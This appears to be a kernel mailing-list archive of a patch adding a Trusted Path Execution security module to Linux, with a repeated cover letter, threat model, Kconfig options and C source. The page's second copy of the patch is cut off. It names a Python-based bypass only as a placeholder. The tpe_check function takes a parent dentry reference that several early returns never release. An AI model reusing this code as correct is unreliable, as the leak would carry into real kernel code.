[kernel-hardening] [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[kernel-hardening] [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

Trusted Path Execution (TPE)

Patch Versions:

v1:
* initial patch introduction

v2:
* included copyright notice from Brad Spengler and Corey Henderson
* reversed the invert_gid logic. tpe.gid now defaults to being the
  trusted group rather than the untrusted group.
* fixed race condition by taking reference to the parent dentry
* added sysctl tpe.restrict_root that includes the root user in TPE checks
* added mprotect and mmap restrictions from Corey Henderson tpe-lkm
  project
* added documentation file

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
      malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

Documentation/security/tpe.txt |  59 +++++++++++
 MAINTAINERS                    |   5 +
 include/linux/lsm_hooks.h      |   5 +
 security/Kconfig               |   1 +
 security/Makefile              |   2 +
 security/security.c            |   1 +
 security/tpe/Kconfig           |  64 ++++++++++++
 security/tpe/Makefile          |   3 +
 security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

Trusted Path Execution (TPE)

Patch Versions:

v1:
* initial patch introduction

v2:
* included copyright notice from Brad Spengler and Corey Henderson
* reversed the invert_gid logic. tpe.gid now defaults to being the
  trusted group rather than the untrusted group.
* fixed race condition by taking reference to the parent dentry
* added sysctl tpe.restrict_root that includes the root user in TPE checks
* added mprotect and mmap restrictions from Corey Henderson tpe-lkm
  project
* added documentation file

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
      malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

Documentation/security/tpe.txt |  59 +++++++++++
 MAINTAINERS                    |   5 +
 include/linux/lsm_hooks.h      |   5 +
 security/Kconfig               |   1 +
 security/Makefile              |   2 +
 security/security.c            |   1 +
 security/tpe/Kconfig           |  64 ++++++++++++
 security/tpe/Makefile          |   3 +
 security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

Trusted Path Execution (TPE)

Patch Versions:

v1:
* initial patch introduction

v2:
* included copyright notice from Brad Spengler and Corey Henderson
* reversed the invert_gid logic. tpe.gid now defaults to being the
  trusted group rather than the untrusted group.
* fixed race condition by taking reference to the parent dentry
* added sysctl tpe.restrict_root that includes the root user in TPE checks
* added mprotect and mmap restrictions from Corey Henderson tpe-lkm
  project
* added documentation file

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
      malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

Documentation/security/tpe.txt |  59 +++++++++++
 MAINTAINERS                    |   5 +
 include/linux/lsm_hooks.h      |   5 +
 security/Kconfig               |   1 +
 security/Makefile              |   2 +
 security/security.c            |   1 +
 security/tpe/Kconfig           |  64 ++++++++++++
 security/tpe/Makefile          |   3 +
 security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
      malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. The Kconfig text and sysctl options are
taken heavily from Brad Spengler's implementation. Some extra sysctl
options were taken from Corey Henderson's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

default: n

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: By default root is not restricted by TPE.

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

default: 0

This option defines a group id that, by default, is the trusted group.
If a user is not trusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. You can disable the trusted gid option by
setting it to 0. This makes all non-root users untrusted.

CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)

default: n

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)

default: n

This option applies all enabled TPE restrictions to root.

CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)

default: n

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the untrusted group. This means that all other groups
become trusted. This sysctl is helpful when you want TPE restrictions
to be limited to a small subset of users.

Signed-off-by: Matt Brown <matt@nmatt.com>
---
 Documentation/security/tpe.txt |  59 +++++++++++
 MAINTAINERS                    |   5 +
 include/linux/lsm_hooks.h      |   5 +
 security/Kconfig               |   1 +
 security/Makefile              |   2 +
 security/security.c            |   1 +
 security/tpe/Kconfig           |  64 ++++++++++++
 security/tpe/Makefile          |   3 +
 security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
 9 files changed, 358 insertions(+)
 create mode 100644 Documentation/security/tpe.txt
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
new file mode 100644
index 0000000..226afcc
--- /dev/null
+++ b/Documentation/security/tpe.txt
@@ -0,0 +1,59 @@
+Trusted Path Execution is a Linux Security Module that generally requires
+programs to be run from a trusted path. A trusted path is one that is owned by
+root and is not group/world writable. This prevents an attacker from executing
+their own malicious binaries from an unprivileged user on the system. This
+feature is enabled with CONFIG_SECURITY_TPE. When enabled, a set of sysctls
+are created in /proc/sys/kernel/tpe.
+
+---------------------------------------------------------------------------
+
+Trusted Path Execution introduces the following Kconfig options and sysctls.
+
+CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
+
+default: n
+
+This option enables Trusted Path Execution. TPE blocks *untrusted*
+users from executing files that meet the following conditions:
+
+* file is not in a root-owned directory
+* file is writable by a user other than root
+
+NOTE: By default root is not restricted by TPE.
+
+CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
+
+default: 0
+
+This option defines a group id that, by default, is the trusted group.
+If a user is not trusted then it has the checks described in
+CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
+checks are not applied. You can disable the trusted gid option by
+setting it to 0. This makes all non-root users untrusted.
+
+CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
+
+default: n
+
+This option applies another set of restrictions to all non-root users
+even if they are trusted. This only allows execution under the
+following conditions:
+
+* file is in a directory owned by the user that is not group or
+  world-writable
+* file is in a directory owned by root and writable only by root
+
+CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
+
+default: n
+
+This option applies TPE restrictions to root.
+
+CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
+
+default: n
+
+This option reverses the trust logic of the gid option and makes
+kernel.tpe.gid into the untrusted group. This means that all other groups
+become trusted. This sysctl is helpful when you want TPE restrictions
+to be limited to a small subset of users.
diff --git a/MAINTAINERS b/MAINTAINERS
index 9e98464..67e10c8 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -11574,6 +11574,11 @@ T:	git git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux.git yama/tip
 S:	Supported
 F:	security/yama/
 
+TPE SECURITY MODULE
+M:	Matt Brown <matt@nmatt.com>
+S:	Supported
+F:	security/tpe/
+
 SENSABLE PHANTOM
 M:	Jiri Slaby <jirislaby@gmail.com>
 S:	Maintained
diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h
index 080f34e..4c165ce 100644
--- a/include/linux/lsm_hooks.h
+++ b/include/linux/lsm_hooks.h
@@ -1946,5 +1946,10 @@ void __init loadpin_add_hooks(void);
 #else
 static inline void loadpin_add_hooks(void) { };
 #endif
+#ifdef CONFIG_SECURITY_TPE
+void __init tpe_add_hooks(void);
+#else
+static inline void tpe_add_hooks(void) { };
+#endif
 
 #endif /* ! __LINUX_LSM_HOOKS_H */
diff --git a/security/Kconfig b/security/Kconfig
index bdcbb92..58c4216 100644
--- a/security/Kconfig
+++ b/security/Kconfig
@@ -195,6 +195,7 @@ source security/tomoyo/Kconfig
 source security/apparmor/Kconfig
 source security/loadpin/Kconfig
 source security/yama/Kconfig
+source security/tpe/Kconfig
 
 source security/integrity/Kconfig
 
diff --git a/security/Makefile b/security/Makefile
index f2d71cd..f8b5197 100644
--- a/security/Makefile
+++ b/security/Makefile
@@ -9,6 +9,7 @@ subdir-$(CONFIG_SECURITY_TOMOYO)        += tomoyo
 subdir-$(CONFIG_SECURITY_APPARMOR)	+= apparmor
 subdir-$(CONFIG_SECURITY_YAMA)		+= yama
 subdir-$(CONFIG_SECURITY_LOADPIN)	+= loadpin
+subdir-$(CONFIG_SECURITY_TPE)		+= tpe
 
 # always enable default capabilities
 obj-y					+= commoncap.o
@@ -24,6 +25,7 @@ obj-$(CONFIG_SECURITY_TOMOYO)		+= tomoyo/
 obj-$(CONFIG_SECURITY_APPARMOR)		+= apparmor/
 obj-$(CONFIG_SECURITY_YAMA)		+= yama/
 obj-$(CONFIG_SECURITY_LOADPIN)		+= loadpin/
+obj-$(CONFIG_SECURITY_TPE)		+= tpe/
 obj-$(CONFIG_CGROUP_DEVICE)		+= device_cgroup.o
 
 # Object integrity file lists
diff --git a/security/security.c b/security/security.c
index 38316bb..36137a3 100644
--- a/security/security.c
+++ b/security/security.c
@@ -70,6 +70,7 @@ int __init security_init(void)
 	capability_add_hooks();
 	yama_add_hooks();
 	loadpin_add_hooks();
+	tpe_add_hooks();
 
 	/*
 	 * Load all the remaining security modules.
diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
new file mode 100644
index 0000000..a1b8f17
--- /dev/null
+++ b/security/tpe/Kconfig
@@ -0,0 +1,64 @@
+config SECURITY_TPE
+	bool "Trusted Path Execution (TPE)"
+	default n
+	help
+	  If you say Y here, you will be able to choose a gid to add to the
+	  supplementary groups of users you want to mark as "trusted."
+	  Untrusted users will not be able to execute any files that are not in
+	  root-owned directories writable only by root.  If the sysctl option
+	  is enabled, a sysctl option with name "tpe.enabled" is created.
+
+config SECURITY_TPE_GID
+	int
+	default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
+	default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)
+
+config SECURITY_TPE_TRUSTED_GID
+	int "GID for TPE-trusted users"
+	depends on SECURITY_TPE && !SECURITY_TPE_INVERT_GID
+	default 0
+	help
+	  Setting this GID determines what group TPE restrictions will be
+	  *disabled* for. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.gid" is created.
+
+config SECURITY_TPE_UNTRUSTED_GID
+	int "GID for TPE-untrusted users"
+	depends on SECURITY_TPE && SECURITY_TPE_INVERT_GID
+	default 0
+	help
+	  Setting this GID determines what group TPE restrictions will be
+	  *enabled* for. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.gid" is created.
+
+config SECURITY_TPE_INVERT_GID
+	bool "Invert GID option"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, the group you specify in the TPE configuration will
+	  decide what group TPE restrictions will be *enabled* for.  This
+	  option is useful if you want TPE restrictions to be restricted to a
+	  small subset of users. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.invert_gid" is created.
+
+config SECURITY_TPE_STRICT
+	bool "Partially restrict all non-root users"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, all non-root users will be covered under
+	  a weaker TPE restriction.  This is separate from, and in addition to,
+	  the main TPE options that you have selected elsewhere.  Thus, if a
+	  "trusted" GID is chosen, this restriction applies to even that GID.
+	  Under this restriction, all non-root users will only be allowed to
+	  execute files in directories they own that are not group or
+	  world-writable, or in directories owned by root and writable only by
+	  root.  If the sysctl option is enabled, a sysctl option with name
+	  "tpe.strict" is created.
+
+config SECURITY_TPE_RESTRICT_ROOT
+	bool "Restrict root"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, root will be marked as untrusted. This will require
+	  root to pass all the same checks as any other untrusted user.
+
diff --git a/security/tpe/Makefile b/security/tpe/Makefile
new file mode 100644
index 0000000..e1bd8ef
--- /dev/null
+++ b/security/tpe/Makefile
@@ -0,0 +1,3 @@
+obj-$(CONFIG_SECURITY_TPE) := tpe_lsm.o
+
+tpe-y := tpe_lsm.o
diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
new file mode 100644
index 0000000..fda811a
--- /dev/null
+++ b/security/tpe/tpe_lsm.c
@@ -0,0 +1,218 @@
+/*
+ * Trusted Path Execution Security Module
+ *
+ * Copyright (C) 2017 Matt Brown
+ * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
+ * http://www.grsecurity.net spender@grsecurity.net
+ * Copyright (C) 2011 Corey Henderson
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License version 2
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ */
+#include <linux/kernel.h>
+#include <linux/uidgid.h>
+#include <linux/ratelimit.h>
+#include <linux/limits.h>
+#include <linux/cred.h>
+#include <linux/slab.h>
+#include <linux/lsm_hooks.h>
+#include <linux/sysctl.h>
+#include <linux/binfmts.h>
+#include <linux/string_helpers.h>
+#include <linux/dcache.h>
+#include <uapi/asm-generic/mman-common.h>
+
+#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
+#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
+#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
+#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
+
+static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
+static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
+static int tpe_invert_gid __read_mostly =
+	IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
+static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
+static int tpe_restrict_root __read_mostly =
+	IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
+
+int print_tpe_error(struct file *file, char *reason1, char *reason2,
+	char *method)
+{
+	char *filepath;
+
+	filepath = kstrdup_quotable_file(file, GFP_KERNEL);
+
+	if (!filepath)
+		return -ENOMEM;
+
+	pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
+		(IS_ERR(filepath) ? "failed fetching file path" : filepath),
+		reason1, reason2 ? " and " : "", reason2 ?: "");
+	kfree(filepath);
+	return -EPERM;
+}
+
+static int tpe_check(struct file *file, char *method)
+{
+	struct inode *inode;
+	struct inode *file_inode;
+	struct dentry *dir;
+	const struct cred *cred = current_cred();
+	char *reason1 = NULL;
+	char *reason2 = NULL;
+
+	dir = dget_parent(file->f_path.dentry);
+	inode = d_backing_inode(dir);
+	file_inode = d_backing_inode(file->f_path.dentry);
+
+	if (!tpe_enabled)
+		return 0;
+
+	/* never restrict root unless restrict_root sysctl is 1*/
+	if (global_root(cred->uid) && !tpe_restrict_root)
+		return 0;
+
+	if (!tpe_strict)
+		goto general_tpe_check;
+
+	/* TPE_STRICT: restrictions enforced even if the gid is trusted */
+	if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
+		reason1 = "directory not owned by user";
+	else if (inode->i_mode & 0002)
+		reason1 = "file in world-writable directory";
+	else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
+		reason1 = "file in group-writable directory";
+	else if (file_inode->i_mode & 0002)
+		reason1 = "file is world-writable";
+
+	if (reason1)
+		goto end;
+
+general_tpe_check:
+	/* determine if group is trusted */
+	if (global_root_gid(tpe_gid))
+		goto next_check;
+	if (!tpe_invert_gid && !in_group_p(tpe_gid))
+		reason2 = "not in trusted group";
+	else if (tpe_invert_gid && in_group_p(tpe_gid))
+		reason2 = "in untrusted group";
+	else
+		return 0;
+
+next_check:
+	/* main TPE checks */
+	if (global_nonroot(inode->i_uid))
+		reason1 = "file in non-root-owned directory";
+	else if (inode->i_mode & 0002)
+		reason1 = "file in world-writable directory";
+	else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
+		reason1 = "file in group-writable directory";
+	else if (file_inode->i_mode & 0002)
+		reason1 = "file is world-writable";
+
+end:
+	dput(dir);
+	if (reason1)
+		return print_tpe_error(file, reason1, reason2, method);
+	else
+		return 0;
+}
+
+int tpe_mmap_file(struct file *file, unsigned long reqprot,
+	unsigned long prot, unsigned long flags)
+{
+	if (!file || !(prot & PROT_EXEC))
+		return 0;
+
+	return tpe_check(file, "mmap");
+}
+
+int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
+	unsigned long prot)
+{
+	if (!vma->vm_file)
+		return 0;
+	return tpe_check(vma->vm_file, "mprotect");
+}
+
+static int tpe_bprm_set_creds(struct linux_binprm *bprm)
+{
+	if (!bprm->file)
+		return 0;
+	return tpe_check(bprm->file, "exec");
+
+}
+
+static struct security_hook_list tpe_hooks[] = {
+	LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
+	LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
+	LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
+};
+
+#ifdef CONFIG_SYSCTL
+struct ctl_path tpe_sysctl_path[] = {
+	{ .procname = "kernel", },
+	{ .procname = "tpe", },
+	{ }
+};
+
+static struct ctl_table tpe_sysctl_table[] = {
+	{
+		.procname	= "enabled",
+		.data		= &tpe_enabled,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "gid",
+		.data		= &tpe_gid,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "invert_gid",
+		.data		= &tpe_invert_gid,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "strict",
+		.data		= &tpe_strict,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "restrict_root",
+		.data		= &tpe_restrict_root,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{ }
+};
+static void __init tpe_init_sysctl(void)
+{
+	if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
+		panic("TPE: sysctl registration failed.\n");
+}
+#else
+static inline void tpe_init_sysctl(void) { }
+#endif /* CONFIG_SYSCTL */
+
+void __init tpe_add_hooks(void)
+{
+	pr_info("TPE: securing systems like it's 1998\n");
+	security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
+	tpe_init_sysctl();
+}
-- 
2.10.2

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
      malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. The Kconfig text and sysctl options are
taken heavily from Brad Spengler's implementation. Some extra sysctl
options were taken from Corey Henderson's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

default: n

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: By default root is not restricted by TPE.

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

default: 0

This option defines a group id that, by default, is the trusted group.
If a user is not trusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. You can disable the trusted gid option by
setting it to 0. This makes all non-root users untrusted.

CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)

default: n

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)

default: n

This option applies all enabled TPE restrictions to root.

CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)

default: n

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the untrusted group. This means that all other groups
become trusted. This sysctl is helpful when you want TPE restrictions
to be limited to a small subset of users.

Signed-off-by: Matt Brown <matt@nmatt.com>
---
 Documentation/security/tpe.txt |  59 +++++++++++
 MAINTAINERS                    |   5 +
 include/linux/lsm_hooks.h      |   5 +
 security/Kconfig               |   1 +
 security/Makefile              |   2 +
 security/security.c            |   1 +
 security/tpe/Kconfig           |  64 ++++++++++++
 security/tpe/Makefile          |   3 +
 security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
 9 files changed, 358 insertions(+)
 create mode 100644 Documentation/security/tpe.txt
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
new file mode 100644
index 0000000..226afcc
--- /dev/null
+++ b/Documentation/security/tpe.txt
@@ -0,0 +1,59 @@
+Trusted Path Execution is a Linux Security Module that generally requires
+programs to be run from a trusted path. A trusted path is one that is owned by
+root and is not group/world writable. This prevents an attacker from executing
+their own malicious binaries from an unprivileged user on the system. This
+feature is enabled with CONFIG_SECURITY_TPE. When enabled, a set of sysctls
+are created in /proc/sys/kernel/tpe.
+
+---------------------------------------------------------------------------
+
+Trusted Path Execution introduces the following Kconfig options and sysctls.
+
+CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
+
+default: n
+
+This option enables Trusted Path Execution. TPE blocks *untrusted*
+users from executing files that meet the following conditions:
+
+* file is not in a root-owned directory
+* file is writable by a user other than root
+
+NOTE: By default root is not restricted by TPE.
+
+CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
+
+default: 0
+
+This option defines a group id that, by default, is the trusted group.
+If a user is not trusted then it has the checks described in
+CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
+checks are not applied. You can disable the trusted gid option by
+setting it to 0. This makes all non-root users untrusted.
+
+CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
+
+default: n
+
+This option applies another set of restrictions to all non-root users
+even if they are trusted. This only allows execution under the
+following conditions:
+
+* file is in a directory owned by the user that is not group or
+  world-writable
+* file is in a directory owned by root and writable only by root
+
+CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
+
+default: n
+
+This option applies TPE restrictions to root.
+
+CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
+
+default: n
+
+This option reverses the trust logic of the gid option and makes
+kernel.tpe.gid into the untrusted group. This means that all other groups
+become trusted. This sysctl is helpful when you want TPE restrictions
+to be limited to a small subset of users.
diff --git a/MAINTAINERS b/MAINTAINERS
index 9e98464..67e10c8 100644
